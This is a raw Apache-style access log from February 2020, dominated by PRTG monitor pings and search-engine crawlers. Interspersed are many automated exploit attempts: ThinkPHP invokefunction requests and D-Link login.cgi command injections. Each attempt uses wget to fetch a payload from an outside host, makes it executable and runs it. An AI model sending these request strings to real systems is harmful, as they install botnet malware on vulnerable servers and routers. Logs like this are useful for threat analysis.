42.117.213.112 - - [12/Feb/2020:17:31:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:17:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.115 - - [12/Feb/2020:17:37:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.200.106.94 - - [12/Feb/2020:17:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.132.217.22 - - [12/Feb/2020:17:39:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.241 - - [12/Feb/2020:17:43:43 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [12/Feb/2020:17:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.46.121.214 - - [12/Feb/2020:17:44:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.7.84.141 - - [12/Feb/2020:17:46:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:17:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.25.207.232 - - [12/Feb/2020:17:46:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:17:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [12/Feb/2020:17:53:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:17:53:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:17:53:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:17:54:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:17:54:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:17:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.253.98.33 - - [12/Feb/2020:17:58:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.25.184.72 - - [12/Feb/2020:18:03:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.154.122.85 - - [12/Feb/2020:18:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.41.245.93 - - [12/Feb/2020:18:03:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.148 - - [12/Feb/2020:18:06:14 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.148 - - [12/Feb/2020:18:06:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:18:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.78.178 - - [12/Feb/2020:18:07:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.166.89 - - [12/Feb/2020:18:08:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.111.183.146 - - [12/Feb/2020:18:12:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
36.83.115.246 - - [12/Feb/2020:18:12:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:18:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.31.51 - - [12/Feb/2020:18:14:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.58.7.106 - - [12/Feb/2020:18:20:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [12/Feb/2020:18:23:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [12/Feb/2020:18:23:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [12/Feb/2020:18:23:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.173.113.217 - - [12/Feb/2020:18:23:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [12/Feb/2020:18:23:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:18:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [12/Feb/2020:18:24:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
37.151.174.148 - - [12/Feb/2020:18:24:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.84.41.78 - - [12/Feb/2020:18:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:18:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.135 - - [12/Feb/2020:18:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:18:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.12 - - [12/Feb/2020:18:30:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.108.166.169 - - [12/Feb/2020:18:33:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:18:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.115.54 - - [12/Feb/2020:18:34:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [12/Feb/2020:18:34:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:18:34:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:18:34:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:18:35:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:18:35:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:18:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.160 - - [12/Feb/2020:18:36:41 +0100] "GET /robots.txt HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.160 - - [12/Feb/2020:18:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:18:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.125.132 - - [12/Feb/2020:18:40:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:18:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.85.127.18 - - [12/Feb/2020:18:43:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.122.206 - - [12/Feb/2020:18:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:18:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.3.253 - - [12/Feb/2020:18:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:18:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.147.82.202 - - [12/Feb/2020:18:49:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.130.103.27 - - [12/Feb/2020:18:50:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:18:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
